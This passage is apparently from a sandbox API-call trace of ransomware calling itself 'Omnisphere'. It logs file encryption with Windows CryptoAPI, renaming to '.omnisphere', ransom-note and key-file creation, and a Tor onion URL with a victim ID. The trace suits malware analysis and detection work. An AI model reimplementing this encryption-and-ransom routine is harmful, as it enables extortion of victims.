returned 0x16c0218 [0126.483] PathCombineW (in: pszDest=0x16c0218, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="LC8mHy4MO_lq.flv.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LC8mHy4MO_lq.flv.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LC8mHy4MO_lq.flv.lnk" [0126.484] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.484] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LC8mHy4MO_lq.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lc8mhy4mo_lq.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.484] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=832) returned 1 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.484] GetTickCount () returned 0x115f912 [0126.485] GetTickCount () returned 0x115f912 [0126.485] GetTickCount () returned 0x115f912 [0126.485] GetTickCount () returned 0x115f912 [0126.485] GetTickCount () returned 0x115f912 [0126.485] GetTickCount () returned 0x115f912 [0126.485] GetTickCount () returned 0x115f912 [0126.485] GetTickCount () returned 0x115f912 [0126.485] GetTickCount () returned 0x115f912 [0126.485] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668a38) returned 1 [0126.485] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.485] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.485] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.485] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0126.485] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x340, lpName=0x0) returned 0x288 [0126.486] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x340) returned 0x1480000 [0126.486] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668460) returned 1 [0126.486] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0126.486] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.486] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.486] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.486] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.487] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.488] CryptDestroyKey (hKey=0x1639528) returned 1 [0126.488] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0126.488] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.488] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.489] GetProcessHeap () returned 0x1600000 [0126.489] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ba) returned 0x16d6b60 [0126.489] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LC8mHy4MO_lq.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lc8mhy4mo_lq.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LC8mHy4MO_lq.flv.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lc8mhy4mo_lq.flv.lnk.omnisphere")) returned 1 [0126.489] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LC8mHy4MO_lq.flv.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LC8mHy4MO_lq.flv.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LC8mHy4MO_lq.flv.lnk.omnisphere.id" [0126.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LC8mHy4MO_lq.flv.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lc8mhy4mo_lq.flv.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.490] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.491] CloseHandle (hObject=0x3c0) returned 1 [0126.491] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.491] CloseHandle (hObject=0x288) returned 1 [0126.491] SetEndOfFile (hFile=0x28c) returned 1 [0126.491] FlushFileBuffers (hFile=0x28c) returned 1 [0126.494] CloseHandle (hObject=0x28c) returned 1 [0126.494] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LC8mHy4MO_lq.flv.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.494] GetProcessHeap () returned 0x1600000 [0126.494] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16d8560 [0126.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.494] GetProcessHeap () returned 0x1600000 [0126.494] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5a28 [0126.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5a28, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.494] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.494] GetProcessHeap () returned 0x1600000 [0126.494] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7e28 [0126.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7e28, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.494] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.494] GetProcessHeap () returned 0x1600000 [0126.495] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c07d8 [0126.495] PathCombineW (in: pszDest=0x16c07d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.495] GetProcessHeap () returned 0x1600000 [0126.495] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d2c20 [0126.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.495] WriteFile (in: hFile=0x28c, lpBuffer=0x16d2c20*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d2c20*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.495] CloseHandle (hObject=0x28c) returned 1 [0126.495] GetProcessHeap () returned 0x1600000 [0126.495] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d8560 | out: hHeap=0x1600000) returned 1 [0126.495] GetProcessHeap () returned 0x1600000 [0126.495] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.495] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.495] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.496] CloseHandle (hObject=0x28c) returned 1 [0126.496] GetProcessHeap () returned 0x1600000 [0126.496] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.496] GetProcessHeap () returned 0x1600000 [0126.496] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c0218 | out: hHeap=0x1600000) returned 1 [0126.496] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2134d94a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2134d94a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2134d94a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0xd3, cFileName="LDQAGpT0kcBEK.lnk", cAlternateFileName="LDQAGP~1.LNK")) returned 1 [0126.496] GetProcessHeap () returned 0x1600000 [0126.496] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162cec8 [0126.496] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="LDQAGpT0kcBEK.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LDQAGpT0kcBEK.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LDQAGpT0kcBEK.lnk" [0126.496] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.496] CreateFileW 